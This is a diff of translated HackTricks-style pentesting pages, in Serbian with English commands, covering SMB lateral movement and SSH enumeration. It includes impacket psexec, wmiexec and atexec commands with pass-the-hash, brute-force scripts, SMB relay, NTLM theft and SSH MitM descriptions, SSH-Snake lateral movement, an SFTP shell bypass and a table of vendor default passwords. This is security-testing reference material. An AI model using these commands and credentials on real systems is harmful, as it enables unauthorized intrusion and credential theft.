Obe opcije će **kreirati novu uslugu** (koristeći _\pipe\svcctl_ via SMB) na računaru žrtve i koristiti je da **izvrše nešto** (**psexec** će **upload** izvršni fajl na ADMIN$ share, a **smbexec** će pokazati na **cmd.exe/powershell.exe** i staviti u argumente payload --**file-less technique**--).\ Obe opcije će **kreirati novu uslugu** (koristeći _\pipe\svcctl_ preko SMB-a) na mašini žrtve i iskoristiti je da **izvrše nešto** (**psexec** će **upload** izvršni fajl na ADMIN$ share, a **smbexec** će usmeriti na **cmd.exe/powershell.exe** i staviti u argumente payload --**file-less technique-**-).\
**Više info** about [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ **Više informacija** o [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)i [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/ Na **kali** se nalazi u /usr/share/doc/python3-impacket/examples/
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address> ./psexec.py [[domain/]username[:password]@]<targetName or address>
@ -394,15 +408,15 @@ Korišćenjem **parametra** `-k` možete se autentifikovati preko **kerberos** u
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Neprimetno izvršite command shell bez diranja diska ili pokretanja novog servisa koristeći DCOM preko **port 135.**\ Diskretno pokrenite komandnu ljusku bez pisanja na disk ili pokretanja nove usluge koristeći DCOM preko **porta 135.**\
U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/ U **kali** nalazi se u /usr/share/doc/python3-impacket/examples/
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password ./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
``` ```
Korišćenjem **parametra**`-k` možete se autentifikovati putem **kerberos** umesto **NTLM** Koristeći **parametar** `-k`, možete da se autentifikujete putem **kerberos** umesto **NTLM**.
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address> ./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -411,46 +425,46 @@ Korišćenjem **parametra**`-k` možete se autentifikovati putem **kerberos** um
``` ```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md) ### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Izvršavajte komande putem Task Scheduler-a (koristeći _\pipe\atsvc_ preko SMB).\ Izvršavanje komandi putem Task Scheduler-a (koristeći _\pipe\atsvc_ preko SMB).\
Na **kali** se nalazi u /usr/share/doc/python3-impacket/examples/ U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
```bash ```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command" ./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami" ./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
``` ```
## Impacket referenca ## Referenca za Impacket
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### ksmbd napadna površina i SMB2/SMB3 protocol fuzzing (syzkaller) ### ksmbd napadna površina i fuzzing protokola SMB2/SMB3 (syzkaller)
{{#ref}} {{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}} {{#endref}}
## **Bruteforce korisničkih credentials** ## **Bruteforce korisničkih kredencijala**
**Ovo se ne preporučuje, možete blokirati nalog ako premašite maksimalno dozvoljen broj pokušaja** **Ovo se ne preporučuje, možete zaključati nalog ako premašite dozvoljeni broj pokušaja**
```bash ```bash
nmap --script smb-brute -p 445 <IP> nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
``` ```
## SMB relay attack ## SMB relay attack
Ovaj napad koristi Responder toolkit da uhvati SMB autentifikacione sesije na internoj mreži i preusmeri ih na ciljnu mašinu. Ako je autentifikaciona sesija uspešna, automatski ćete dobiti sistemski shell.\ Ovaj napad koristi Responder toolkit da **uhvati SMB autentikacione sesije** na internoj mreži i **proslijedi** ih na **ciljni računar**. Ako je autentikaciona **sesija uspešna**, to će vas automatski odvesti u **system** **shell**.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) [**Više informacija o ovom napadu ovde.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap ## SMB-Trap
Windows biblioteka URLMon.dll automatski pokušava da se autentifikuje prema hostu kada stranica pokuša da pristupi nekom sadržaju preko SMB, na primer: `img src="\\10.10.10.10\path\image.jpg"` Windows biblioteka URLMon.dll automatski pokušava da se autentifikuje prema hostu kada stranica pokuša da pristupi nekom sadržaju preko SMB, na primer: `img src="\\10.10.10.10\path\image.jpg"`
This happens with the functions: Ovo se dešava pri pozivima sledećih funkcija:
- URLDownloadToFile - URLDownloadToFile
- URLDownloadToCache - URLDownloadToCache
- URLOpenStream - URLOpenStream
- URLOpenBlockingStream - URLOpenBlockingStream
Which are used by some browsers and tools (like Skype) Koje koriste neki pregledači i alati (npr. Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
@ -460,7 +474,7 @@ Which are used by some browsers and tools (like Skype)
## NTLM Theft ## NTLM Theft
Slično SMB Trapping-u, postavljanje malicioznih fajlova na ciljni sistem (npr. preko SMB) može izazvati pokušaj SMB autentifikacije, što omogućava presretanje NetNTLMv2 hasha pomoću alata kao što je Responder. Hash se zatim može razbiti offline ili koristiti u an [SMB relay attack](#smb-relay-attack). Slično SMB Trapping-u, postavljanje malicioznih fajlova na ciljni sistem (na primer preko SMB) može izazvati pokušaj SMB autentikacije, što omogućava presretanje NetNTLMv2 hash-a alatkom kao Responder. Hash potom može biti razbijen offline ili iskorišćen u [SMB relay attack](#smb-relay-attack).
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@ -497,8 +511,8 @@ getArch.py -target {IP}
With Creds With Creds
smbmap -H {IP} -u {Username} -p {Password} smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
@ -533,4 +547,10 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
``` ```
## Reference
- [NetExec (CME) wiki Kerberos usage](https://www.netexec.wiki/)
- [Pentesting Kerberos (88) client setup and troubleshooting](../pentesting-kerberos-88/README.md)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Osnovne informacije ## Osnovne informacije
**SSH (Secure Shell ili Secure Socket Shell)** je mrežni protokol koji omogućava sigurnu vezu sa računarom preko nesigurne mreže. Ključan je za očuvanje poverljivosti i integriteta podataka prilikom pristupa udaljenim sistemima. **SSH (Secure Shell or Secure Socket Shell)** je mrežni protokol koji omogućava sigurnu vezu sa računarom preko nesigurne mreže. Neophodan je za održavanje poverljivosti i integriteta podataka prilikom pristupa udaljenim sistemima.
**Podrazumevani port:** 22 **Podrazumevani port:** 22
``` ```
@ -12,42 +12,42 @@
``` ```
**SSH serveri:** **SSH serveri:**
- [openSSH](http://www.openssh.org) OpenBSD SSH, isporučen u BSD, Linux distribucijama i Windows od Windows 10 - [openSSH](http://www.openssh.org) OpenBSD SSH, dolazi u BSD, Linux distribucijama i Windows-u od Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) SSH implementacija za okruženja sa niskim memorijskim i procesorskim resursima, isporučena u OpenWrt - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) SSH implementacija za okruženja sa ograničenom memorijom i procesorskim resursima, uključena u OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) SSH implementacija za Windows, klijent se često koristi, ali je korišćenje servera ređe - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) SSH implementacija za Windows; klijent se često koristi, dok je upotreba servera ređa
- [CopSSH](https://www.itefix.net/copssh) implementacija OpenSSH za Windows - [CopSSH](https://www.itefix.net/copssh) implementacija OpenSSH za Windows
**SSH biblioteke (implementacija na serverskoj strani):** **SSH biblioteke (implementing server-side):**
- [libssh](https://www.libssh.org) multiplatformska C biblioteka koja implementira SSHv2 protokol sa vezama u [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) i [R](https://github.com/ropensci/ssh); koristi se od strane KDE za sftp i od strane GitHub-a za git SSH infrastrukturu - [libssh](https://www.libssh.org) višeplatformska C biblioteka koja implementira SSHv2 protokol sa binding-ima za [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) i [R](https://github.com/ropensci/ssh); koristi je KDE za sftp i GitHub za git SSH infrastrukturu
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) SSHv2 server biblioteka napisana u ANSI C i usmerena na ugrađene, RTOS i okruženja sa ograničenim resursima - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) SSHv2 serverska biblioteka napisana u ANSI C i namenjena ugradnim sistemima, RTOS-ovima i okruženjima sa ograničenim resursima
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD java biblioteka zasnovana na Apache MINA - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD Java biblioteka zasnovana je na Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) Python SSHv2 protokol biblioteka - [paramiko](https://github.com/paramiko/paramiko) Python biblioteka za SSHv2 protokol
## Enumeracija ## Enumeration
### Prikupljanje banera ### Banner Grabbing
```bash ```bash
nc -vn <IP> 22 nc -vn <IP> 22
``` ```
### Automated ssh-audit ### Automatizovani ssh-audit
ssh-audit je alat za reviziju konfiguracije ssh servera i klijenta. ssh-audit je alat za proveru konfiguracije SSH servera i klijenata.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) je ažurirani fork od [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) je ažurirani fork od [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
**Karakteristike:** **Mogućnosti:**
- Podrška za SSH1 i SSH2 protokol servera; - Podrška za SSH1 i SSH2 protokole na serveru;
- analizira konfiguraciju SSH klijenta; - analiza konfiguracije SSH klijenta;
- uzima banner, prepoznaje uređaj ili softver i operativni sistem, detektuje kompresiju; - preuzimanje bannera, prepoznavanje uređaja ili softvera i operativnog sistema, otkrivanje kompresije;
- prikuplja algoritme za razmenu ključeva, host-key, enkripciju i kod za autentifikaciju poruka; - prikupljanje algoritama za key-exchange, host-key, encryption i message authentication code;
- izlazne informacije o algoritmima (dostupno od, uklonjeno/onemogućeno, nesigurno/slabo/legacy, itd); - izlazne informacije o algoritmima (dostupno od, uklonjeno/onemogućeno, nebezbedno/slabo/zastarelo, itd);
- izlazne preporuke za algoritme (dodati ili ukloniti na osnovu prepoznate verzije softvera); - preporuke za algoritme (dodati ili ukloniti u zavisnosti od prepoznate verzije softvera);
- izlazne informacije o bezbednosti (povezani problemi, dodeljena CVE lista, itd); - izlazne bezbednosne informacije (povezani problemi, dodeljena lista CVE, itd);
- analizira kompatibilnost verzija SSH na osnovu informacija o algoritmima; - analiza kompatibilnosti SSH verzija na osnovu informacija o algoritmima;
- istorijske informacije iz OpenSSH, Dropbear SSH i libssh; - istorijske informacije iz OpenSSH, Dropbear SSH i libssh;
- radi na Linux-u i Windows-u; - radi na Linuxu i Windowsu;
- bez zavisnosti - bez zavisnosti
```bash ```bash
usage: ssh-audit.py [-1246pbcnjvlt] <host> usage: ssh-audit.py [-1246pbcnjvlt] <host>
@ -69,7 +69,7 @@ use -t to change timeout)
(default: 5) (default: 5)
$ python3 ssh-audit <IP> $ python3 ssh-audit <IP>
``` ```
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) [Pogledajte to u akciji (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### Javni SSH ključ servera ### Javni SSH ključ servera
```bash ```bash
@ -77,7 +77,7 @@ ssh-keyscan -t rsa <IP> -p <PORT>
``` ```
### Slabi šifarski algoritmi ### Slabi šifarski algoritmi
Ovo se otkriva podrazumevano pomoću **nmap**. Ali možete koristiti i **sslcan** ili **sslyze**. Ovo se podrazumevano otkriva pomoću **nmap**. Možete takođe koristiti **sslcan** ili **sslyze**.
### Nmap skripte ### Nmap skripte
```bash ```bash
@ -91,21 +91,21 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
- `ssh` - `ssh`
## Brute force korisnička imena, lozinke i privatne ključeve ## Brute force usernames, passwords and private keys
### Enumeracija korisničkih imena ### Username Enumeration
U nekim verzijama OpenSSH možete izvršiti napad vremenskom razlikom kako biste enumerisali korisnike. Možete koristiti metasploit modul kako biste iskoristili ovo: U nekim verzijama OpenSSH moguće je izvesti timing attack kako bi se enumerate users. Možete koristiti metasploit module kako biste iskoristili ovo:
``` ```
msf> use scanner/ssh/ssh_enumusers msf> use scanner/ssh/ssh_enumusers
``` ```
### [Brute force](../generic-hacking/brute-force.md#ssh) ### [Brute force](../generic-hacking/brute-force.md#ssh)
Neki uobičajeni ssh kredencijali [ovde](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) i [ovde](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) i ispod. Neki uobičajeni ssh credentials [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)and [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) i ispod.
### Private Key Brute Force ### Private Key Brute Force
Ako znate neke ssh privatne ključeve koji bi mogli biti korišćeni... hajde da probamo. Možete koristiti nmap skriptu: Ako znate neke ssh private keys koje bi se mogle koristiti... hajde da pokušamo. Možete koristiti nmap script:
``` ```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
``` ```
@ -113,9 +113,9 @@ Ili MSF pomoćni modul:
``` ```
msf> use scanner/ssh/ssh_identify_pubkeys msf> use scanner/ssh/ssh_identify_pubkeys
``` ```
Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Ili koristite `ssh-keybrute.py` (nativan python3, lagan i ima omogućene legacy algoritme): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Poznate loše ključeve možete pronaći ovde: #### Poznati badkeys se mogu naći ovde:
{{#ref}} {{#ref}}
@ -124,22 +124,41 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
#### Slabi SSH ključevi / Debian predvidljiv PRNG #### Slabi SSH ključevi / Debian predvidljiv PRNG
Neki sistemi imaju poznate greške u nasumičnom semenu koje se koristi za generisanje kriptografskog materijala. To može rezultirati dramatično smanjenim prostorom ključeva koji se može probiti. Pre-generisani setovi ključeva generisanih na Debian sistemima pogođenim slabim PRNG su dostupni ovde: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). Neki sistemi imaju poznate propuste u random seed-u koji se koristi za generisanje kriptografskog materijala. To može dovesti do drastično smanjenog keyspace-a koji se može bruteforce-ovati. Pre-generisani setovi ključeva generisani na Debian sistemima pogođenim slabim PRNG-om dostupni su ovde: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Trebalo bi da pogledate ovde kako biste tražili važeće ključeve za žrtvinu mašinu. Treba da pogledate ovde kako biste potražili validne ključeve za ciljnu mašinu.
### Kerberos ### Kerberos / GSSAPI SSO
**crackmapexec** koristeći `ssh` protokol može koristiti opciju `--kerberos` da **autentifikuje putem kerberos**.\ Ako ciljni SSH server podržava GSSAPI (na primer Windows OpenSSH na domain controller-u), možete se autentifikovati koristeći svoj Kerberos TGT umesto lozinke.
Za više informacija pokrenite `crackmapexec ssh --help`.
## Podrazumevane kredencijale Workflow from a Linux attacker host:
```bash
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
| **Dobavljač** | **Korisnička imena** | **Lozinke** | # 2) Generate a krb5.conf for the target realm (optional, but handy)
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Napomene:
- Ako se povežete na pogrešno ime (npr. kratko ime hosta, alias, ili pogrešan redosled u `/etc/hosts`), možete dobiti: "Server not found in Kerberos database" jer SPN ne odgovara.
- `crackmapexec ssh --kerberos` takođe može koristiti vaš ccache za Kerberos autentifikaciju.
## Podrazumevani kredencijali
| **Proizvođač** | **Korisnička imena** | **Lozinke** |
| -------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc | | APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne | | Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user | | D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | | Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
@ -154,53 +173,53 @@ Za više informacija pokrenite `crackmapexec ssh --help`.
## SSH-MitM ## SSH-MitM
Ako ste u lokalnoj mreži kao žrtva koja će se povezati na SSH server koristeći korisničko ime i lozinku, mogli biste pokušati da **izvršite MitM napad kako biste ukrali te kredencijale:** Ako se nalazite u lokalnoj mreži u kojoj će se žrtva povezati na SSH server koristeći korisničko ime i lozinku, možete pokušati da izvršite **MitM attack** kako biste ukrali te kredencijale:
**Put napada:** Tok napada:
- **Preusmeravanje saobraćaja:** Napadač **preusmerava** saobraćaj žrtve na svoju mašinu, efikasno **presrećući** pokušaj povezivanja na SSH server. - **Preusmeravanje saobraćaja:** Napadač **preusmerava** saobraćaj žrtve na svoju mašinu, efektivno **presrećući** pokušaj konekcije ka SSH serveru.
- **Presretanje i logovanje:** Napadačeva mašina deluje kao **proxy**, **hvatajući** korisničke podatke za prijavu pretvarajući se da je legitimni SSH server. - **Presretanje i beleženje:** Napadačeva mašina deluje kao **proxy**, **hvatajući** podatke za prijavu korisnika pretvarajući se da je legitimni SSH server.
- **Izvršavanje komandi i prosleđivanje:** Na kraju, napadačev server **loguje korisničke kredencijale**, **prosleđuje komande** pravom SSH serveru, **izvršava** ih i **šalje rezultate nazad** korisniku, čineći proces da izgleda besprekorno i legitimno. - **Izvršenje komandi i prosleđivanje:** Na kraju, napadačev server **zabeleži korisničke kredencijale**, **prosledi komande** pravom SSH serveru, **izvrši** ih i **pošalje rezultate nazad** korisniku, čineći proces neprimetnim i legitimnim.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) radi upravo ono što je opisano iznad. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) radi upravo ono što je gore opisano.
Da biste uhvatili stvarni MitM, mogli biste koristiti tehnike poput ARP spoofinga, DNS spoofinga ili druge opisane u [**Napadima na mrežno spoofing**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing). Da biste izvršili stvarni MitM i uhvatili podatke, možete koristiti tehnike poput ARP spoofing, DNS spoofing ili drugih opisanih u [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
## SSH-Snake ## SSH-Snake
Ako želite da pretražujete mrežu koristeći otkrivene SSH privatne ključeve na sistemima, koristeći svaki privatni ključ na svakom sistemu za nove hostove, onda je [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) ono što vam treba. Ako želite da prolazite kroz mrežu koristeći otkrivene SSH privatne ključeve na sistemima, koristeći svaki privatni ključ na svakom sistemu za pristup novim hostovima, onda je [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) ono što vam treba.
SSH-Snake automatski i rekurzivno obavlja sledeće zadatke: SSH-Snake automatski i rekurzivno obavlja sledeće zadatke:
1. Na trenutnom sistemu, pronađite sve SSH privatne ključeve, 1. Na trenutnom sistemu pronađe sve SSH privatne ključeve,
2. Na trenutnom sistemu, pronađite sve hostove ili odredišta (user@host) koja privatni ključevi mogu prihvatiti, 2. Na trenutnom sistemu pronađe sve hostove ili destinacije (user@host) na kojima bi privatni ključevi mogli biti prihvaćeni,
3. Pokušajte da se SSH povežete sa svim odredištima koristeći sve otkrivene privatne ključeve, 3. Pokuša da se poveže putem SSH-a na sve destinacije koristeći sve otkrivene privatne ključeve,
4. Ako se uspešno povežete na odredište, ponovite korake #1 - #4 na sistemu na koji ste se povezali. 4. Ako je destinacija uspešno povezana, ponavlja korake #1 - #4 na povezanom sistemu.
Potpuno se samoreplicira i samoproširuje -- i potpuno je bez datoteka. Potpuno je samoreplicirajući i samopropagirajući -- i potpuno fileless.
## Konfiguracione greške ## Greške u konfiguraciji
### Root prijava ### Prijava kao root
Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root, što predstavlja značajan sigurnosni rizik. **Onemogućavanje root prijave** je kritičan korak u obezbeđivanju servera. Neovlašćen pristup sa administratorskim privilegijama i napadi brute force mogu se ublažiti ovom promenom. Često SSH serveri podrazumevano dozvoljavaju prijavu root korisnika, što predstavlja značajan bezbednosni rizik. **Onemogućavanje prijave root korisnika** je kritičan korak u zaštiti servera. Neovlašćeni pristup sa administratorskim privilegijama i brute force napadi mogu se ublažiti ovom promenom.
**Da biste onemogućili root prijavu u OpenSSH:** Za onemogućavanje prijave root korisnika u OpenSSH:
1. **Izmenite SSH konfiguracioni fajl** sa: `sudoedit /etc/ssh/sshd_config` 1. **Uredite SSH konfiguracioni fajl** sa: `sudoedit /etc/ssh/sshd_config`
2. **Promenite podešavanje** sa `#PermitRootLogin yes` na **`PermitRootLogin no`**. 2. **Promenite podešavanje** sa `#PermitRootLogin yes` na **`PermitRootLogin no`**.
3. **Ponovo učitajte konfiguraciju** koristeći: `sudo systemctl daemon-reload` 3. **Ponovo učitajte konfiguraciju** koristeći: `sudo systemctl daemon-reload`
4. **Ponovo pokrenite SSH server** da primenite promene: `sudo systemctl restart sshd` 4. **Restartujte SSH server** da biste primenili izmene: `sudo systemctl restart sshd`
### SFTP Brute Force ### SFTP Brute Force
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp) - [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
### Izvršavanje komandi SFTP ### SFTP command execution
Postoji uobičajena greška koja se dešava sa SFTP podešavanjima, gde administratori nameravaju da korisnici razmenjuju datoteke bez omogućavanja daljinskog pristupa shell-u. Iako su korisnici postavljeni sa neinteraktivnim shell-ovima (npr. `/usr/bin/nologin`) i ograničeni na određeni direktorijum, ostaje sigurnosna rupa. **Korisnici mogu zaobići ova ograničenja** tražeći izvršavanje komande (poput `/bin/bash`) odmah nakon prijavljivanja, pre nego što njihov dodeljeni neinteraktivni shell preuzme. Ovo omogućava neovlašćeno izvršavanje komandi, potkopavajući nameravane sigurnosne mere. Postoji uobičajena propust u SFTP podešavanjima, gde administratori nameravaju da korisnici razmenjuju fajlove bez omogućavanja udaljenog shell pristupa. Iako su korisnicima dodeljeni non-interactive shells (npr. `/usr/bin/nologin`) i ograničeni na određeni direktorijum, bezbednosna rupa i dalje postoji. **Korisnici mogu zaobići ova ograničenja** tako što će zatražiti izvršenje komande (kao što je `/bin/bash`) odmah nakon prijave, pre nego što njihov dodeljeni non-interactive shell stupi na snagu. Ovo omogućava neovlašćeno izvršenje komandi, potkopavajući nameravane mere bezbednosti.
[Primer odavde](https://community.turgensec.com/ssh-hacking-guide/): [Example from here](https://community.turgensec.com/ssh-hacking-guide/):
```bash ```bash
ssh -v noraj@192.168.1.94 id ssh -v noraj@192.168.1.94 id
... ...
@ -223,7 +242,7 @@ debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash $ ssh noraj@192.168.1.94 /bin/bash
``` ```
Evo primera sigurne SFTP konfiguracije (`/etc/ssh/sshd_config` openSSH) za korisnika `noraj`: Evo primera bezbedne SFTP konfiguracije (`/etc/ssh/sshd_config` openSSH) za korisnika `noraj`:
``` ```
Match User noraj Match User noraj
ChrootDirectory %h ChrootDirectory %h
@ -233,42 +252,42 @@ PermitTunnel no
X11Forwarding no X11Forwarding no
PermitTTY no PermitTTY no
``` ```
Ova konfiguracija će omogućiti samo SFTP: onemogućavanje pristupa ljusci prisiljavanjem start komande i onemogućavanjem TTY pristupa, ali takođe onemogućava sve vrste prosleđivanja portova ili tunelovanja. Ova konfiguracija će dozvoliti samo SFTP: onemogućavanjem shell pristupa prisiljavanjem start command-a i onemogućavanjem TTY pristupa, ali takođe onemogućavajući sve vrste port forwarding ili tunneling.
### SFTP Tunneling ### SFTP Tunneling
Ako imate pristup SFTP serveru, možete takođe tunelovati svoj saobraćaj kroz ovo, na primer koristeći uobičajeno prosleđivanje portova: Ako imate pristup SFTP serveru, možete takođe tunnel-ovati svoj saobraćaj kroz njega, na primer koristeći uobičajeni port forwarding:
```bash ```bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised> sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
``` ```
### SFTP Symlink ### SFTP Symlink
